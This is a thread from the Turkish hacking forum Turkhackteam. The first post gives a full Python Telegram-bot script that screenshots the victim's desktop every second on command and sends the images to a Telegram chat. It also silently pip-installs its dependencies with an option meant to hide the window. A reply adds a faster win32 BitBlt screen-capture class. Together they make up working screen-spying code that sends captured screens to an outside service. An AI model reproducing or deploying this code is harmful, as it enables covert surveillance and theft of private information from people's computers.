Python Telegram Botu ile Ekran Yakalama

AnonKid

Yeni üye
12 Kas 2022
7
0
Çalışma mantığı; PIL ImageGrab modülü ile ekran görüntüsü alıp bunu png olarak alır ve bota atar. Tek tek atmaktansa mesajı düzenleyerek atar, böylece mesaj kirliği yaratmaz.

Python:
import telebot
import pyautogui
from PIL import ImageGrab
from io import BytesIO
import time
import subprocess
import importlib

def check_module(module_name):
    try:
        importlib.import_module(module_name)
    except ImportError:
        subprocess.run(["pip", "install", module_name], subprocess.CREATE_NO_WINDOW)

check_module("pyTelegramBotAPI")
check_module("pyautogui")
check_module("Pillow")

bot = telebot.TeleBot("TOKEN") #Buraya kendi tokeninizi ekleyin

recording_message_id = None

recording = False

@bot.message_handler(commands=['start'])
def send_instructions(message):
    bot.reply_to(message, "Kaydı başlatmak için /record kodunu kullanın.")

@bot.message_handler(commands=['record'])
def start_recording(message):
    global recording, recording_message_id
    bot.reply_to(message, "Kayıt başlatıldı. /stop diyerek kayıtı durdurabilirsiniz.")
    recording = True
    
    while recording:
        screenshot = ImageGrab.grab()
        
        img_byte_array = BytesIO()
        screenshot.save(img_byte_array, format='PNG')
        img_byte_array = img_byte_array.getvalue()

        try:
            if recording_message_id:
                bot.edit_message_media(media=telebot.types.InputMediaPhoto(img_byte_array), chat_id=message.chat.id, message_id=recording_message_id)
            else:
                sent_message = bot.send_photo(message.chat.id, img_byte_array)
                recording_message_id = sent_message.message_id
        except telebot.apihelper.ApiTelegramException as e:
            if e.result_json['description'] == "Bad Request: message is not modified: specified new message content and reply markup are exactly the same as a current content and reply markup of the message":
                pass
            else:
                raise e

        time.sleep(1) #Süreyi kendinize göre ayarlarsınız.

@bot.message_handler(commands=['stop'])
def stop_recording(message):
    global recording, recording_message_id
    recording = False
    bot.reply_to(message, "Kayıt durduruldu.")
    recording_message_id = None

bot.polling()
 

alexandre20

Katılımcı Üye
13 Tem 2022
908
714
direkt win32api kullanarak desktop handle'ı alıp GDI üzerinden BitBlt ile ekran görüntüsü yakalamak daha hızlı ve güvenilir olur. Pillow, PIL, MSS gibi fazlasıyla yavaş olan çöp kütüphanelere gerek yok

Python:
class ScreenCapturer:
    def __init__(self, x, y, width, height):
        self.x = x
        self.y = y
        self.width = width
        self.height = height

        self.hdesktop = win32gui.GetDesktopWindow()
        self.desktop_dc = win32gui.GetWindowDC(self.hdesktop)
        self.img_dc = win32ui.CreateDCFromHandle(self.desktop_dc)

        self.mem_dc = self.img_dc.CreateCompatibleDC()


        self.screenshot = win32ui.CreateBitmap()
        self.screenshot.CreateCompatibleBitmap(self.img_dc, width, height)
        self.mem_dc.SelectObject(self.screenshot)
  
    def capture(self):
        self.mem_dc.BitBlt((0, 0), (self.width, self.height), self.img_dc, (self.x, self.y), win32con.SRCCOPY)       
        signedIntsArray = self.screenshot.GetBitmapBits(True)
        img = np.frombuffer(signedIntsArray, dtype='uint8')
        img.shape = (self.height, self.width, 4)
        # alpha değerini silme. (gerektiği durumlarda bırakılabilir)
        return img[:, :, :3]
    def close(self):
        # handle kapatma fonksiyonu
        self.mem_dc.DeleteDC()
        win32gui.ReleaseDC(self.hdesktop, self.desktop_dc)
        win32gui.DeleteObject(self.screenshot.GetHandle())
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.